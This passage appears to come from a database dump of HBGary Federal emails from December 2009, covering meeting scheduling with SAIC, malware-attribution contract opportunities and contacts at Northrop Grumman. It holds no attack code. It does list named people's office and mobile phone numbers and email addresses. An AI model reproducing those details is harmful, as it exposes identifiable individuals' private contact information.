holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your schedule\r\nsounds a bit tight. &nbsp;Next week I will be in Sacramento\r\nmost of the week but will be back in DC Thursday and Friday if you have any\r\navailability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen &#8216;capturing&#8217; it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12052,'aaron_hbgary_com/12052.html'),(698,'2009-12-17','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','/aaron@hbgary.com/new/1297000002.M33668P3547Q697.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron &#8211; unfortunately, her calendar is\r\nvery tight. \r\n\r\n&nbsp;\r\n\r\nHave fun at the art show!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 17, 2009\r\n9:30 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Stephanie,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBy chance is Amanda at all available a little early to our 4pm appt.?\r\n&nbsp;If not I may need to just shorten our meeting my a little bit. &nbsp;My\r\n3yr. old daughter has an artshow tonight. :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:37 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve sent a calendar invite.&nbsp; Please\r\nlet me know if you need directions to our office or if I can be of any other\r\nassistance.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\n\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 07, 2009\r\n9:33 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes I am.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:31 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston,\r\n VA?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\n\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nS,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible Opportunity\r\n\r\nHi Amanda,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your\r\nschedule sounds a bit tight. &nbsp;Next week I will be in Sacramento\r\nmost of the week but will be back in DC Thursday and Friday if you have any\r\navailability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC\r\nis not in a very good position for its recompete.&nbsp; Given the fact that you\r\nhave left the company I assume this makes their position even worse?&nbsp; I am\r\nthe lead division for SAIC (also own digital echo) and have been &#8216;capturing&#8217; it\r\nfor some time.&nbsp; We do in fact intend to prime and have begun our proposal\r\npreparation.&nbsp; I would welcome the opportunity to speak with you as soon as\r\npossible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1201,'aaron_hbgary_com/1201.html'),(699,'2009-12-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000002.M945560P3547Q699.eml','greg@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Upcoming contract opportunities for atrribution work','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg, Penny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nIn the past few days I&#8217;ve had conversations with\r\nGD-AIS and Symantec about teaming with HBGary to address the attribution\r\nproblem.&nbsp; Below are details about each conversation.\r\n\r\n&nbsp;\r\n\r\nJim Jaeger&#8217;s group at GD-AIS are pursuing a\r\nDARPA opportunity.&nbsp; The unclassified portion will be the development of an\r\nautomated analysis system that looks at large numbers of malware and provides\r\nthe following capabilities:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentifies similarities and differences among many\r\nmalware.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLook at variants of a particular malware family to\r\nidentify features that have been added or removed.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPredict future features of a malware family.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAttribution\r\n\r\nMarci Woodson of GD is meeting with DARPA today so we ought\r\nto be able to get some updated info.&nbsp; A next step is to meet with Jaeger&#8217;s\r\ngroup after the New Year.\r\n\r\n&nbsp;\r\n\r\nSymantec told me they are looking at an upcoming gov&#8217;t\r\nopportunity where they want HBGary to team with them (don&#8217;t know if it is\r\nDARPA or something else).&nbsp; Symantec would provide their huge store of\r\nmalware and correlation analysis tools.&nbsp; HBGary would provide the low\r\nlevel malware analysis.&nbsp; I have a meeting with Symantec on Jan 6 where I\r\nwill learn more.\r\n\r\n&nbsp;\r\n\r\nClearly, others are thinking along the same lines as HBGary.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8612,'aaron_hbgary_com/8612.html'),(700,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000003.M209386P3547Q700.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Upcoming contract opportunities for atrribution work','Bob,I would like to be part of those meetings if possible as we have been going down a similiar path with ntoc, arstrat, and palantir.Aaron\r\nFrom my iPhoneOn Dec 17, 2009, at 10:47 AM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg, Penny, Aaron and Ted,\r\n\r\n \r\n\r\nIn the past few days I’ve had conversations with\r\nGD-AIS and Symantec about teaming with HBGary to address the attribution\r\nproblem.  Below are details about each conversation.\r\n\r\n \r\n\r\nJim Jaeger’s group at GD-AIS are pursuing a\r\nDARPA opportunity.  The unclassified portion will be the development of an\r\nautomated analysis system that looks at large numbers of malware and provides\r\nthe following capabilities:\r\n\r\n·        \r\nIdentifies similarities and differences among many\r\nmalware.  \r\n\r\n·        \r\nLook at variants of a particular malware family to\r\nidentify features that have been added or removed.  \r\n\r\n·        \r\nPredict future features of a malware family.\r\n\r\n·        \r\nAttribution\r\n\r\nMarci Woodson of GD is meeting with DARPA today so we ought\r\nto be able to get some updated info.  A next step is to meet with Jaeger’s\r\ngroup after the New Year.\r\n\r\n \r\n\r\nSymantec told me they are looking at an upcoming gov’t\r\nopportunity where they want HBGary to team with them (don’t know if it is\r\nDARPA or something else).  Symantec would provide their huge store of\r\nmalware and correlation analysis tools.  HBGary would provide the low\r\nlevel malware analysis.  I have a meeting with Symantec on Jan 6 where I\r\nwill learn more.\r\n\r\n \r\n\r\nClearly, others are thinking along the same lines as HBGary.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',273,'aaron_hbgary_com/273.html'),(701,'2009-12-17','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000003.M687369P3547Q701.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cybersecurity Discussions','Aaron, great to hear from you...and know you are doing well.  Sorry that\r\nNGC didn\'t figure out how to realize your potential...or to at least\r\nlisten.\r\nSeems to be happening a lot around here...oh well.\r\nKeep in touch...\r\nJim\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 10:49 AM\r\nTo: Jolly, John S (IS)\r\nCc: Freeman, William E. (IS); Conroy, Thomas W.; Barnett, Jim H.;\r\nWarden, Kathy J (IS); Ted Vera\r\nSubject: Cybersecurity Discussions\r\n\r\nJohn,\r\n\r\nNot sure if you know, but I am no longer with Northrop.  My current\r\nposition is as CEO of HBGary Federal, a wholly owned subsidiary of\r\nHBGary.  HBGary builds malware detection and analysis products.  Their\r\nhistory is steeped in Forensics, but their recent products and\r\ntechnology roadmap is focused more on malware detection and incident\r\nresponse.\r\n\r\nSpecifically a product launched last spring called Digital DNA and\r\nanother product launched last month called ReCON.  They currently have a\r\nmalware genome with 3500 traits/characteristics identified.  Using their\r\nmemory capture and analysis tools they look at the function and behavior\r\nof software and compare that to the malware genome and attribute a\r\nthreat score indicating the likely hood of it being malware.  Using the\r\ngenome they are also doing comparisons of malware for authorship\r\nidentification.  I think this has possibilities for attribution if\r\nlinked with capabilities like Palantir.  I am currently in discussions\r\nwith Palantir to partner on an attribution based capability.  Currently\r\nwe claim 75% identification of zero day malware and believe further\r\nbuild outs of the genome and partnerships with other technologies will\r\nget us into the 80-90% range.\r\n\r\nI spoke to Ralph Denty from NSA cybersecurity operations integration, he\r\nis putting me in contact with some folks from Carnegie Melon, who have\r\nbeen recently charted by NSA to look at developing something similar.\r\nWe also have a current partnership with Mcafee and have integrated\r\nDigital DNA into their ePO product which is currently the base for HBSS.\r\n\r\nMy question is is their any interest from a TU perspective, specifically\r\nTutiledge, in including this type of capability?  I think there are some\r\nlonger term efforts on forward deployed systems using this type of\r\nmethodology that could eventually detect evolutions of attacks and\r\ndevelop defensive capabilities against them before they ever reach you\r\nsystems.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10931,'aaron_hbgary_com/10931.html'),(702,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000003.M859961P3547Q702.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','Re: Cybersecurity Discussions','Hi Jim.  Thanks for the note.  I sat next to John Russack on the plane back from Denver last night, similar topics.  I am working with Xetron closely (great folks/lots of capability).  They are hungry, get the problem and possible solutions.  In hindsight, Northrop wasn\'t the right place for me.  In my current position I get to steer the ship where I think is best with little restrictions or friction.  A buddy of mine, Jake Olcott, is setting up some meetings after the holidays with Jim Lewis over at CSI and Sameer over at SSCI.  I couldn\'t have done that easily within Northrop as one example.  And as long as people like you, Tom, Xetron, Bill Freeman, are still around I will continue to want to reach out to Northrop.\r\n\r\nThis attribution idea keeps growing, I think we can push the rock a little.  I can\'t believe of all the ideas I am onto attribution.  I remember the conversations with you, Tom, and Rich well on this topic.\r\n\r\nHave a great Holiday Jim.  Hopefully get a chance to run in to you after the new year.\r\n\r\nAaron\r\n\r\nOn Dec 17, 2009, at 11:05 AM, Barnett, Jim H. wrote:\r\n\r\n> Aaron, great to hear from you...and know you are doing well.  Sorry that\r\n> NGC didn\'t figure out how to realize your potential...or to at least\r\n> listen.\r\n> Seems to be happening a lot around here...oh well.\r\n> Keep in touch...\r\n> Jim\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, December 04, 2009 10:49 AM\r\n> To: Jolly, John S (IS)\r\n> Cc: Freeman, William E. (IS); Conroy, Thomas W.; Barnett, Jim H.;\r\n> Warden, Kathy J (IS); Ted Vera\r\n> Subject: Cybersecurity Discussions\r\n> \r\n> John,\r\n> \r\n> Not sure if you know, but I am no longer with Northrop.  My current\r\n> position is as CEO of HBGary Federal, a wholly owned subsidiary of\r\n> HBGary.  HBGary builds malware detection and analysis products.  Their\r\n> history is steeped in Forensics, but their recent products and\r\n> technology roadmap is focused more on malware detection and incident\r\n> response.\r\n> \r\n> Specifically a product launched last spring called Digital DNA and\r\n> another product launched last month called ReCON.  They currently have a\r\n> malware genome with 3500 traits/characteristics identified.  Using their\r\n> memory capture and analysis tools they look at the function and behavior\r\n> of software and compare that to the malware genome and attribute a\r\n> threat score indicating the likely hood of it being malware.  Using the\r\n> genome they are also doing comparisons of malware for authorship\r\n> identification.  I think this has possibilities for attribution if\r\n> linked with capabilities like Palantir.  I am currently in discussions\r\n> with Palantir to partner on an attribution based capability.  Currently\r\n> we claim 75% identification of zero day malware and believe further\r\n> build outs of the genome and partnerships with other technologies will\r\n> get us into the 80-90% range.\r\n> \r\n> I spoke to Ralph Denty from NSA cybersecurity operations integration, he\r\n> is putting me in contact with some folks from Carnegie Melon, who have\r\n> been recently charted by NSA to look at developing something similar.\r\n> We also have a current partnership with Mcafee and have integrated\r\n> Digital DNA into their ePO product which is currently the base for HBSS.\r\n> \r\n> My question is is their any interest from a TU perspective, specifically\r\n> Tutiledge, in including this type of capability?  I think there are some\r\n> longer term efforts on forward deployed systems using this type of\r\n> methodology that could eventually detect evolutions of attacks and\r\n> develop defensive capabilities against them before they ever reach you\r\n> systems.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13174,'aaron_hbgary_com/13174.html'),(703,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000004.M268982P3547Q704.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cybersecurity Discussions','Begin forwarded message:From: \"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;Date: December 17, 2009 12:10:56 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Cybersecurity DiscussionsActually, working with Sameer is not that difficult...but as younoted...high risk if you are NGC badged. &nbsp;I will be headed over to workwith SASC and HPSCI this afternoon, and then back in with HPSCI Tuesdaybut not from an NGC perspective...just doing the right thing. &nbsp;You willfind him engaging.Attribution (or identify management as the Dems like to call it) isnumber two on the requirements list but a critical need. &nbsp;If youactually have something, I can get you in touch with folks in USD(I) whoare really looking for solutions along this line...Have fun with the kids (and wife) over the Holiday...and keep in touch.My clock is down to about 100 and then I start plan A.Jim-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, December 17, 2009 12:06 PMTo: Barnett, Jim H.Subject: Re: Cybersecurity DiscussionsHi Jim. &nbsp;Thanks for the note. &nbsp;I sat next to John Russack on the planeback from Denver last night, similar topics. &nbsp;I am working with Xetronclosely (great folks/lots of capability). &nbsp;They are hungry, get theproblem and possible solutions. &nbsp;In hindsight, Northrop wasn\'t the rightplace for me. &nbsp;In my current position I get to steer the ship where Ithink is best with little restrictions or friction. &nbsp;A buddy of mine,Jake Olcott, is setting up some meetings after the holidays with JimLewis over at CSI and Sameer over at SSCI. &nbsp;I couldn\'t have done thateasily within Northrop as one example. &nbsp;And as long as people like you,Tom, Xetron, Bill Freeman, are still around I will continue to want toreach out to Northrop.This attribution idea keeps growing, I think we can push the rock alittle. &nbsp;I can\'t believe of all the ideas I am onto attribution. &nbsp;Iremember the conversations with you, Tom, and Rich well on this topic.Have a great Holiday Jim. &nbsp;Hopefully get a chance to run in to you afterthe new year.AaronOn Dec 17, 2009, at 11:05 AM, Barnett, Jim H. wrote:Aaron, great to hear from you...and know you are doing well. &nbsp;SorrythatNGC didn\'t figure out how to realize your potential...or to at leastlisten.Seems to be happening a lot around here...oh well.Keep in touch...Jim-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, December 04, 2009 10:49 AMTo: Jolly, John S (IS)Cc: Freeman, William E. (IS); Conroy, Thomas W.; Barnett, Jim H.;Warden, Kathy J (IS); Ted VeraSubject: Cybersecurity DiscussionsJohn,Not sure if you know, but I am no longer with Northrop. &nbsp;My currentposition is as CEO of HBGary Federal, a wholly owned subsidiary ofHBGary. &nbsp;HBGary builds malware detection and analysis products. &nbsp;Theirhistory is steeped in Forensics, but their recent products andtechnology roadmap is focused more on malware detection and incidentresponse.Specifically a product launched last spring called Digital DNA andanother product launched last month called ReCON. &nbsp;They currently haveamalware genome with 3500 traits/characteristics identified. &nbsp;Usingtheirmemory capture and analysis tools they look at the function andbehaviorof software and compare that to the malware genome and attribute athreat score indicating the likely hood of it being malware. &nbsp;Usingthegenome they are also doing comparisons of malware for authorshipidentification. &nbsp;I think this has possibilities for attribution iflinked with capabilities like Palantir. &nbsp;I am currently in discussionswith Palantir to partner on an attribution based capability.Currentlywe claim 75% identification of zero day malware and believe furtherbuild outs of the genome and partnerships with other technologies willget us into the 80-90% range.I spoke to Ralph Denty from NSA cybersecurity operations integration,heis putting me in contact with some folks from Carnegie Melon, who havebeen recently charted by NSA to look at developing something similar.We also have a current partnership with Mcafee and have integratedDigital DNA into their ePO product which is currently the base forHBSS.My question is is their any interest from a TU perspective,specificallyTutiledge, in including this type of capability? &nbsp;I think there aresomelonger term efforts on forward deployed systems using this type ofmethodology that could eventually detect evolutions of attacks anddevelop defensive capabilities against them before they ever reach yousystems.Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13816,'aaron_hbgary_com/13816.html'),(704,'2009-12-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000004.M488812P3547Q705.eml','Vincent.Holtmann@gd-ais.com,Vincent.Holtmann@gd-ais.com,','HBGary Capabilities','Hello Vincent,Bob Slapnik asked me to pass this along.  Please let us know if we can provide additional assistance.Regards,Ted-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',16878,'aaron_hbgary_com/16878.html'),(705,'2009-12-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000004.M696553P3547Q706.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Cage Code','Cage code registration is complete.  We should have it in 24-48 hrs.Penny, do you have the updated LLC operating agreement?  We need to get the fully executed copy to Nadir for the bank acct.\r\nThanks,Ted\r\n\r\n',11454,'aaron_hbgary_com/11454.html'),(706,'2009-12-17','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000004.M74063P3547Q703.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cybersecurity Discussions','Actually, working with Sameer is not that difficult...but as you\r\nnoted...high risk if you are NGC badged.  I will be headed over to work\r\nwith SASC and HPSCI this afternoon, and then back in with HPSCI Tuesday\r\nbut not from an NGC perspective...just doing the right thing.  You will\r\nfind him engaging.\r\nAttribution (or identify management as the Dems like to call it) is\r\nnumber two on the requirements list but a critical need.  If you\r\nactually have something, I can get you in touch with folks in USD(I) who\r\nare really looking for solutions along this line...\r\nHave fun with the kids (and wife) over the Holiday...and keep in touch.\r\nMy clock is down to about 100 and then I start plan A.\r\nJim\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 17, 2009 12:06 PM\r\nTo: Barnett, Jim H.\r\nSubject: Re: Cybersecurity Discussions\r\n\r\nHi Jim.  Thanks for the note.  I sat next to John Russack on the plane\r\nback from Denver last night, similar topics.  I am working with Xetron\r\nclosely (great folks/lots of capability).  They are hungry, get the\r\nproblem and possible solutions.  In hindsight, Northrop wasn\'t the right\r\nplace for me.  In my current position I get to steer the ship where I\r\nthink is best with little restrictions or friction.  A buddy of mine,\r\nJake Olcott, is setting up some meetings after the holidays with Jim\r\nLewis over at CSI and Sameer over at SSCI.  I couldn\'t have done that\r\neasily within Northrop as one example.  And as long as people like you,\r\nTom, Xetron, Bill Freeman, are still around I will continue to want to\r\nreach out to Northrop.\r\n\r\nThis attribution idea keeps growing, I think we can push the rock a\r\nlittle.  I can\'t believe of all the ideas I am onto attribution.  I\r\nremember the conversations with you, Tom, and Rich well on this topic.\r\n\r\nHave a great Holiday Jim.  Hopefully get a chance to run in to you after\r\nthe new year.\r\n\r\nAaron\r\n\r\nOn Dec 17, 2009, at 11:05 AM, Barnett, Jim H. wrote:\r\n\r\n> Aaron, great to hear from you...and know you are doing well.  Sorry\r\nthat\r\n> NGC didn\'t figure out how to realize your potential...or to at least\r\n> listen.\r\n> Seems to be happening a lot around here...oh well.\r\n> Keep in touch...\r\n> Jim\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr 